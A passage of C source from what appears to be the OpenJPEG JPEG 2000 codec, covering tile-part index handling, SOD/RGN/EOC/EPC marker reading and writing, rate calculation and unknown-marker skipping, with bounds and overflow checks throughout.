p_j2k->m_specific_param.m_decoder.m_end_tile_y); } else { assert(p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec >= 0); p_j2k->m_specific_param.m_decoder.m_skip_data = (p_j2k->m_current_tile_number != (OPJ_UINT32) p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec); } /* Index */ if (p_j2k->cstr_index) { assert(p_j2k->cstr_index->tile_index != 00); p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tileno = p_j2k->m_current_tile_number; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno = l_current_part; if (l_num_parts != 0) { p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].nb_tps = l_num_parts; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = l_num_parts; if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index) { p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = (opj_tp_index_t*)opj_calloc(l_num_parts, sizeof(opj_tp_index_t)); if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read SOT marker. Tile index allocation failed\n"); return OPJ_FALSE; } } else { opj_tp_index_t *new_tp_index = (opj_tp_index_t *) opj_realloc( p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index, l_num_parts * sizeof(opj_tp_index_t)); if (! new_tp_index) { opj_free(p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index); p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read SOT marker. Tile index allocation failed\n"); return OPJ_FALSE; } p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = new_tp_index; } } else { /*if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index)*/ { if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index) { p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = 10; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = (opj_tp_index_t*)opj_calloc( p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps, sizeof(opj_tp_index_t)); if (!p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index) { p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read SOT marker. Tile index allocation failed\n"); return OPJ_FALSE; } } if (l_current_part >= p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps) { opj_tp_index_t *new_tp_index; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = l_current_part + 1; new_tp_index = (opj_tp_index_t *) opj_realloc( p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index, p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps * sizeof(opj_tp_index_t)); if (! new_tp_index) { opj_free(p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index); p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = NULL; p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].current_nb_tps = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read SOT marker. Tile index allocation failed\n"); return OPJ_FALSE; } p_j2k->cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index = new_tp_index; } } } } /* FIXME move this onto a separate method to call before reading any SOT, remove part about main_end header, use a index struct inside p_j2k */ /* if (p_j2k->cstr_info) { if (l_tcp->first) { if (tileno == 0) { p_j2k->cstr_info->main_head_end = p_stream_tell(p_stream) - 13; } p_j2k->cstr_info->tile[tileno].tileno = tileno; p_j2k->cstr_info->tile[tileno].start_pos = p_stream_tell(p_stream) - 12; p_j2k->cstr_info->tile[tileno].end_pos = p_j2k->cstr_info->tile[tileno].start_pos + totlen - 1; p_j2k->cstr_info->tile[tileno].num_tps = numparts; if (numparts) { p_j2k->cstr_info->tile[tileno].tp = (opj_tp_info_t *) opj_malloc(numparts * sizeof(opj_tp_info_t)); } else { p_j2k->cstr_info->tile[tileno].tp = (opj_tp_info_t *) opj_malloc(10 * sizeof(opj_tp_info_t)); // Fixme (10) } } else { p_j2k->cstr_info->tile[tileno].end_pos += totlen; } p_j2k->cstr_info->tile[tileno].tp[partno].tp_start_pos = p_stream_tell(p_stream) - 12; p_j2k->cstr_info->tile[tileno].tp[partno].tp_end_pos = p_j2k->cstr_info->tile[tileno].tp[partno].tp_start_pos + totlen - 1; }*/ return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_sod(opj_j2k_t *p_j2k, opj_tcd_t * p_tile_coder, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, const opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { opj_codestream_info_t *l_cstr_info = 00; OPJ_UINT32 l_remaining_data; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_stream); opj_write_bytes(p_data, J2K_MS_SOD, 2); /* SOD */ p_data += 2; /* make room for the EOF marker */ l_remaining_data = p_total_data_size - 4; /* update tile coder */ p_tile_coder->tp_num = p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number ; p_tile_coder->cur_tp_num = p_j2k->m_specific_param.m_encoder.m_current_tile_part_number; /* INDEX >> */ /* TODO mergeV2: check this part which use cstr_info */ /*l_cstr_info = p_j2k->cstr_info; if (l_cstr_info) { if (!p_j2k->m_specific_param.m_encoder.m_current_tile_part_number ) { //TODO cstr_info->tile[p_j2k->m_current_tile_number].end_header = p_stream_tell(p_stream) + p_j2k->pos_correction - 1; l_cstr_info->tile[p_j2k->m_current_tile_number].tileno = p_j2k->m_current_tile_number; } else {*/ /* TODO if (cstr_info->tile[p_j2k->m_current_tile_number].packet[cstr_info->packno - 1].end_pos < p_stream_tell(p_stream)) { cstr_info->tile[p_j2k->m_current_tile_number].packet[cstr_info->packno].start_pos = p_stream_tell(p_stream); }*/ /*}*/ /* UniPG>> */ #ifdef USE_JPWL /* update markers struct */ /*OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_SOD, p_j2k->sod_start, 2); */ assert(0 && "TODO"); #endif /* USE_JPWL */ /* <<UniPG */ /*}*/ /* << INDEX */ if (p_j2k->m_specific_param.m_encoder.m_current_tile_part_number == 0) { p_tile_coder->tcd_image->tiles->packno = 0; if (l_cstr_info) { l_cstr_info->packno = 0; } } *p_data_written = 0; if (! opj_tcd_encode_tile(p_tile_coder, p_j2k->m_current_tile_number, p_data, p_data_written, l_remaining_data, l_cstr_info, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Cannot encode tile\n"); return OPJ_FALSE; } *p_data_written += 2; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_sod(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_SIZE_T l_current_read_size; opj_codestream_index_t * l_cstr_index = 00; OPJ_BYTE ** l_current_data = 00; opj_tcp_t * l_tcp = 00; OPJ_UINT32 * l_tile_len = 00; OPJ_BOOL l_sot_length_pb_detected = OPJ_FALSE; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tcp = &(p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]); if (p_j2k->m_specific_param.m_decoder.m_last_tile_part) { /* opj_stream_get_number_byte_left returns OPJ_OFF_T // but we are in the last tile part, // so its result will fit on OPJ_UINT32 unless we find // a file with a single tile part of more than 4 GB...*/ p_j2k->m_specific_param.m_decoder.m_sot_length = (OPJ_UINT32)( opj_stream_get_number_byte_left(p_stream) - 2); } else { /* Check to avoid pass the limit of OPJ_UINT32 */ if (p_j2k->m_specific_param.m_decoder.m_sot_length >= 2) { p_j2k->m_specific_param.m_decoder.m_sot_length -= 2; } else { /* MSD: case commented to support empty SOT marker (PHR data) */ } } l_current_data = &(l_tcp->m_data); l_tile_len = &l_tcp->m_data_size; /* Patch to support new PHR data */ if (p_j2k->m_specific_param.m_decoder.m_sot_length) { /* If we are here, we'll try to read the data after allocation */ /* Check enough bytes left in stream before allocation */ if ((OPJ_OFF_T)p_j2k->m_specific_param.m_decoder.m_sot_length > opj_stream_get_number_byte_left(p_stream)) { opj_event_msg(p_manager, EVT_ERROR, "Tile part length size inconsistent with stream length\n"); return OPJ_FALSE; } if (p_j2k->m_specific_param.m_decoder.m_sot_length > UINT_MAX - OPJ_COMMON_CBLK_DATA_EXTRA) { opj_event_msg(p_manager, EVT_ERROR, "p_j2k->m_specific_param.m_decoder.m_sot_length > " "UINT_MAX - OPJ_COMMON_CBLK_DATA_EXTRA"); return OPJ_FALSE; } /* Add a margin of OPJ_COMMON_CBLK_DATA_EXTRA to the allocation we */ /* do so that opj_mqc_init_dec_common() can safely add a synthetic */ /* 0xFFFF marker. */ if (! *l_current_data) { /* LH: oddly enough, in this path, l_tile_len!=0. * TODO: If this was consistent, we could simplify the code to only use realloc(), as realloc(0,...) default to malloc(0,...). */ *l_current_data = (OPJ_BYTE*) opj_malloc( p_j2k->m_specific_param.m_decoder.m_sot_length + OPJ_COMMON_CBLK_DATA_EXTRA); } else { OPJ_BYTE *l_new_current_data; if (*l_tile_len > UINT_MAX - OPJ_COMMON_CBLK_DATA_EXTRA - p_j2k->m_specific_param.m_decoder.m_sot_length) { opj_event_msg(p_manager, EVT_ERROR, "*l_tile_len > UINT_MAX - OPJ_COMMON_CBLK_DATA_EXTRA - " "p_j2k->m_specific_param.m_decoder.m_sot_length"); return OPJ_FALSE; } l_new_current_data = (OPJ_BYTE *) opj_realloc(*l_current_data, *l_tile_len + p_j2k->m_specific_param.m_decoder.m_sot_length + OPJ_COMMON_CBLK_DATA_EXTRA); if (! l_new_current_data) { opj_free(*l_current_data); /*nothing more is done as l_current_data will be set to null, and just afterward we enter in the error path and the actual tile_len is updated (committed) at the end of the function. */ } *l_current_data = l_new_current_data; } if (*l_current_data == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode tile\n"); return OPJ_FALSE; } } else { l_sot_length_pb_detected = OPJ_TRUE; } /* Index */ l_cstr_index = p_j2k->cstr_index; if (l_cstr_index) { OPJ_OFF_T l_current_pos = opj_stream_tell(p_stream) - 2; OPJ_UINT32 l_current_tile_part = l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno; l_cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index[l_current_tile_part].end_header = l_current_pos; l_cstr_index->tile_index[p_j2k->m_current_tile_number].tp_index[l_current_tile_part].end_pos = l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2; if (OPJ_FALSE == opj_j2k_add_tlmarker(p_j2k->m_current_tile_number, l_cstr_index, J2K_MS_SOD, l_current_pos, p_j2k->m_specific_param.m_decoder.m_sot_length + 2)) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add tl marker\n"); return OPJ_FALSE; } /*l_cstr_index->packno = 0;*/ } /* Patch to support new PHR data */ if (!l_sot_length_pb_detected) { l_current_read_size = opj_stream_read_data( p_stream, *l_current_data + *l_tile_len, p_j2k->m_specific_param.m_decoder.m_sot_length, p_manager); } else { l_current_read_size = 0; } if (l_current_read_size != p_j2k->m_specific_param.m_decoder.m_sot_length) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_NEOC; } else { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPHSOT; } *l_tile_len += (OPJ_UINT32)l_current_read_size; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_rgn(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_UINT32 nb_comps, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_rgn_size; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; OPJ_UINT32 l_comp_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; if (nb_comps <= 256) { l_comp_room = 1; } else { l_comp_room = 2; } l_rgn_size = 6 + l_comp_room; l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_RGN, 2); /* RGN */ l_current_data += 2; opj_write_bytes(l_current_data, l_rgn_size - 2, 2); /* Lrgn */ l_current_data += 2; opj_write_bytes(l_current_data, p_comp_no, l_comp_room); /* Crgn */ l_current_data += l_comp_room; opj_write_bytes(l_current_data, 0, 1); /* Srgn */ ++l_current_data; opj_write_bytes(l_current_data, (OPJ_UINT32)l_tccp->roishift, 1); /* SPrgn */ ++l_current_data; if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_rgn_size, p_manager) != l_rgn_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_eoc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); opj_write_bytes(p_j2k->m_specific_param.m_encoder.m_header_tile_data, J2K_MS_EOC, 2); /* EOC */ /* UniPG>> */ #ifdef USE_JPWL /* update markers struct */ /* OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_EOC, p_stream_tell(p_stream) - 2, 2); */ #endif /* USE_JPWL */ if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, 2, p_manager) != 2) { return OPJ_FALSE; } if (! opj_stream_flush(p_stream, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a RGN marker (Region Of Interest) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_rgn(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_nb_comp; opj_image_t * l_image = 00; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_comp_room, l_comp_no, l_roi_sty; /* preconditions*/ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; l_nb_comp = l_image->numcomps; if (l_nb_comp <= 256) { l_comp_room = 1; } else { l_comp_room = 2; } if (p_header_size != 2 + l_comp_room) { opj_event_msg(p_manager, EVT_ERROR, "Error reading RGN marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; opj_read_bytes(p_header_data, &l_comp_no, l_comp_room); /* Crgn */ p_header_data += l_comp_room; opj_read_bytes(p_header_data, &l_roi_sty, 1); /* Srgn */ ++p_header_data; #ifdef USE_JPWL if (l_cp->correct) { /* totlen is negative or larger than the bytes left!!! */ if (l_comp_room >= l_nb_comp) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad component number in RGN (%d when there are only %d)\n", l_comp_room, l_nb_comp); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } } }; #endif /* USE_JPWL */ /* testcase 3635.pdf.asan.77.2930 */ if (l_comp_no >= l_nb_comp) { opj_event_msg(p_manager, EVT_ERROR, "bad component number in RGN (%d when there are only %d)\n", l_comp_no, l_nb_comp); return OPJ_FALSE; } opj_read_bytes(p_header_data, (OPJ_UINT32 *)(&(l_tcp->tccps[l_comp_no].roishift)), 1); /* SPrgn */ ++p_header_data; return OPJ_TRUE; } static OPJ_FLOAT32 opj_j2k_get_tp_stride(opj_tcp_t * p_tcp) { return (OPJ_FLOAT32)((p_tcp->m_nb_tile_parts - 1) * 14); } static OPJ_FLOAT32 opj_j2k_get_default_stride(opj_tcp_t * p_tcp) { (void)p_tcp; return 0; } static OPJ_BOOL opj_j2k_update_rates(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { opj_cp_t * l_cp = 00; opj_image_t * l_image = 00; opj_tcp_t * l_tcp = 00; opj_image_comp_t * l_img_comp = 00; OPJ_UINT32 i, j, k; OPJ_INT32 l_x0, l_y0, l_x1, l_y1; OPJ_FLOAT32 * l_rates = 0; OPJ_FLOAT32 l_sot_remove; OPJ_UINT32 l_bits_empty, l_size_pixel; OPJ_UINT32 l_tile_size = 0; OPJ_UINT32 l_last_res; OPJ_FLOAT32(* l_tp_stride_func)(opj_tcp_t *) = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_manager); l_cp = &(p_j2k->m_cp); l_image = p_j2k->m_private_image; l_tcp = l_cp->tcps; l_bits_empty = 8 * l_image->comps->dx * l_image->comps->dy; l_size_pixel = l_image->numcomps * l_image->comps->prec; l_sot_remove = (OPJ_FLOAT32) opj_stream_tell(p_stream) / (OPJ_FLOAT32)( l_cp->th * l_cp->tw); if (l_cp->m_specific_param.m_enc.m_tp_on) { l_tp_stride_func = opj_j2k_get_tp_stride; } else { l_tp_stride_func = opj_j2k_get_default_stride; } for (i = 0; i < l_cp->th; ++i) { for (j = 0; j < l_cp->tw; ++j) { OPJ_FLOAT32 l_offset = (OPJ_FLOAT32)(*l_tp_stride_func)(l_tcp) / (OPJ_FLOAT32)l_tcp->numlayers; /* 4 borders of the tile rescale on the image if necessary */ l_x0 = opj_int_max((OPJ_INT32)(l_cp->tx0 + j * l_cp->tdx), (OPJ_INT32)l_image->x0); l_y0 = opj_int_max((OPJ_INT32)(l_cp->ty0 + i * l_cp->tdy), (OPJ_INT32)l_image->y0); l_x1 = opj_int_min((OPJ_INT32)(l_cp->tx0 + (j + 1) * l_cp->tdx), (OPJ_INT32)l_image->x1); l_y1 = opj_int_min((OPJ_INT32)(l_cp->ty0 + (i + 1) * l_cp->tdy), (OPJ_INT32)l_image->y1); l_rates = l_tcp->rates; /* Modification of the RATE >> */ if (*l_rates > 0.0f) { *l_rates = (((OPJ_FLOAT32)(l_size_pixel * (OPJ_UINT32)(l_x1 - l_x0) * (OPJ_UINT32)(l_y1 - l_y0))) / ((*l_rates) * (OPJ_FLOAT32)l_bits_empty) ) - l_offset; } ++l_rates; for (k = 1; k < l_tcp->numlayers; ++k) { if (*l_rates > 0.0f) { *l_rates = (((OPJ_FLOAT32)(l_size_pixel * (OPJ_UINT32)(l_x1 - l_x0) * (OPJ_UINT32)(l_y1 - l_y0))) / ((*l_rates) * (OPJ_FLOAT32)l_bits_empty) ) - l_offset; } ++l_rates; } ++l_tcp; } } l_tcp = l_cp->tcps; for (i = 0; i < l_cp->th; ++i) { for (j = 0; j < l_cp->tw; ++j) { l_rates = l_tcp->rates; if (*l_rates > 0.0f) { *l_rates -= l_sot_remove; if (*l_rates < 30.0f) { *l_rates = 30.0f; } } ++l_rates; l_last_res = l_tcp->numlayers - 1; for (k = 1; k < l_last_res; ++k) { if (*l_rates > 0.0f) { *l_rates -= l_sot_remove; if (*l_rates < * (l_rates - 1) + 10.0f) { *l_rates = (*(l_rates - 1)) + 20.0f; } } ++l_rates; } if (*l_rates > 0.0f) { *l_rates -= (l_sot_remove + 2.f); if (*l_rates < * (l_rates - 1) + 10.0f) { *l_rates = (*(l_rates - 1)) + 20.0f; } } ++l_tcp; } } l_img_comp = l_image->comps; l_tile_size = 0; for (i = 0; i < l_image->numcomps; ++i) { l_tile_size += (opj_uint_ceildiv(l_cp->tdx, l_img_comp->dx) * opj_uint_ceildiv(l_cp->tdy, l_img_comp->dy) * l_img_comp->prec ); ++l_img_comp; } l_tile_size = (OPJ_UINT32)(l_tile_size * 0.1625); /* 1.3/8 = 0.1625 */ l_tile_size += opj_j2k_get_specific_header_sizes(p_j2k); p_j2k->m_specific_param.m_encoder.m_encoded_tile_size = l_tile_size; p_j2k->m_specific_param.m_encoder.m_encoded_tile_data = (OPJ_BYTE *) opj_malloc(p_j2k->m_specific_param.m_encoder.m_encoded_tile_size); if (p_j2k->m_specific_param.m_encoder.m_encoded_tile_data == 00) { return OPJ_FALSE; } if (OPJ_IS_CINEMA(l_cp->rsiz)) { p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer = (OPJ_BYTE *) opj_malloc(5 * p_j2k->m_specific_param.m_encoder.m_total_tile_parts); if (! p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer) { return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current = p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer; } return OPJ_TRUE; } #if 0 static OPJ_BOOL opj_j2k_read_eoc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 i; opj_tcd_t * l_tcd = 00; OPJ_UINT32 l_nb_tiles; opj_tcp_t * l_tcp = 00; OPJ_BOOL l_success; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; l_tcp = p_j2k->m_cp.tcps; l_tcd = opj_tcd_create(OPJ_TRUE); if (l_tcd == 00) { opj_event_msg(p_manager, EVT_ERROR, "Cannot decode tile, memory error\n"); return OPJ_FALSE; } for (i = 0; i < l_nb_tiles; ++i) { if (l_tcp->m_data) { if (! opj_tcd_init_decode_tile(l_tcd, i)) { opj_tcd_destroy(l_tcd); opj_event_msg(p_manager, EVT_ERROR, "Cannot decode tile, memory error\n"); return OPJ_FALSE; } l_success = opj_tcd_decode_tile(l_tcd, l_tcp->m_data, l_tcp->m_data_size, i, p_j2k->cstr_index); /* cleanup */ if (! l_success) { p_j2k->m_specific_param.m_decoder.m_state |= J2K_STATE_ERR; break; } } opj_j2k_tcp_destroy(l_tcp); ++l_tcp; } opj_tcd_destroy(l_tcd); return OPJ_TRUE; } #endif static OPJ_BOOL opj_j2k_get_end_header(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_manager); p_j2k->cstr_index->main_head_end = opj_stream_tell(p_stream); return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_mct_data_group(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 i; opj_simple_mcc_decorrelation_data_t * l_mcc_record; opj_mct_data_t * l_mct_record; opj_tcp_t * l_tcp; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); if (! opj_j2k_write_cbd(p_j2k, p_stream, p_manager)) { return OPJ_FALSE; } l_tcp = &(p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]); l_mct_record = l_tcp->m_mct_records; for (i = 0; i < l_tcp->m_nb_mct_records; ++i) { if (! opj_j2k_write_mct_record(p_j2k, l_mct_record, p_stream, p_manager)) { return OPJ_FALSE; } ++l_mct_record; } l_mcc_record = l_tcp->m_mcc_records; for (i = 0; i < l_tcp->m_nb_mcc_records; ++i) { if (! opj_j2k_write_mcc_record(p_j2k, l_mcc_record, p_stream, p_manager)) { return OPJ_FALSE; } ++l_mcc_record; } if (! opj_j2k_write_mco(p_j2k, p_stream, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_all_coc( opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 compno; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); for (compno = 1; compno < p_j2k->m_private_image->numcomps; ++compno) { /* cod is first component of first tile */ if (! opj_j2k_compare_coc(p_j2k, 0, compno)) { if (! opj_j2k_write_coc(p_j2k, compno, p_stream, p_manager)) { return OPJ_FALSE; } } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_all_qcc( opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 compno; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); for (compno = 1; compno < p_j2k->m_private_image->numcomps; ++compno) { /* qcd is first component of first tile */ if (! opj_j2k_compare_qcc(p_j2k, 0, compno)) { if (! opj_j2k_write_qcc(p_j2k, compno, p_stream, p_manager)) { return OPJ_FALSE; } } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_regions(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 compno; const opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tccp = p_j2k->m_cp.tcps->tccps; for (compno = 0; compno < p_j2k->m_private_image->numcomps; ++compno) { if (l_tccp->roishift) { if (! opj_j2k_write_rgn(p_j2k, 0, compno, p_j2k->m_private_image->numcomps, p_stream, p_manager)) { return OPJ_FALSE; } } ++l_tccp; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_epc(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { opj_codestream_index_t * l_cstr_index = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_manager); l_cstr_index = p_j2k->cstr_index; if (l_cstr_index) { l_cstr_index->codestream_size = (OPJ_UINT64)opj_stream_tell(p_stream); /* UniPG>> */ /* The following adjustment is done to adjust the codestream size */ /* if SOD is not at 0 in the buffer. Useful in case of JP2, where */ /* the first bunch of bytes is not in the codestream */ l_cstr_index->codestream_size -= (OPJ_UINT64)l_cstr_index->main_head_start; /* <<UniPG */ } #ifdef USE_JPWL /* preparation of JPWL marker segments */ #if 0 if (cp->epc_on) { /* encode according to JPWL */ jpwl_encode(p_j2k, p_stream, image); } #endif assert(0 && "TODO"); #endif /* USE_JPWL */ return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_unk(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, OPJ_UINT32 *output_marker, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_unknown_marker; const opj_dec_memory_marker_handler_t * l_marker_handler; OPJ_UINT32 l_size_unk = 2; /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); opj_event_msg(p_manager, EVT_WARNING, "Unknown marker\n"); for (;;) { /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer*/ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* read 2 bytes as the new marker ID*/ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_unknown_marker, 2); if (!(l_unknown_marker < 0xff00)) { /* Get the marker handler from the marker ID*/ l_marker_handler = opj_j2k_get_marker_handler(l_unknown_marker); if (!(p_j2k->m_specific_param.m_decoder.m_state & l_marker_handler->states)) { opj_event_msg(p_manager, EVT_ERROR, "Marker is not compliant with its position\n"); return OPJ_FALSE; } else { if (l_marker_handler->id != J2K_MS_UNK) { /* Add the marker to the codestream index*/ if (l_marker_handler->id != J2K_MS_SOT) { OPJ_BOOL res = opj_j2k_add_mhmarker(p_j2k->cstr_index, J2K_MS_UNK, (OPJ_UINT32) opj_stream_tell(p_stream) - l_size_unk, l_size_unk); if (res == OPJ_FALSE) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add mh marker\n"); return OPJ_FALSE; } } break; /* next marker is known and well located */ } else { l_size_unk += 2; } } } } *output_marker = l_marker_handler->id ; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_mct_record(opj_j2k_t *p_j2k, opj_mct_data_t * p_mct_record, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 l_mct_size; OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_tmp; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_mct_size = 10 + p_mct_record->m_data_size; if (l_mct_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_mct_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write MCT marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_mct_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_MCT, 2); /* MCT */ l_current_data += 2; opj_write_bytes(l_current_data, l_mct_size - 2, 2); /* Lmct */ l_current_data += 2; opj_write_bytes(l_current_data, 0, 2); /* Zmct */ l_current_data += 2; /* only one marker atm */ l_tmp = (p_mct_record->m_index & 0xff) | 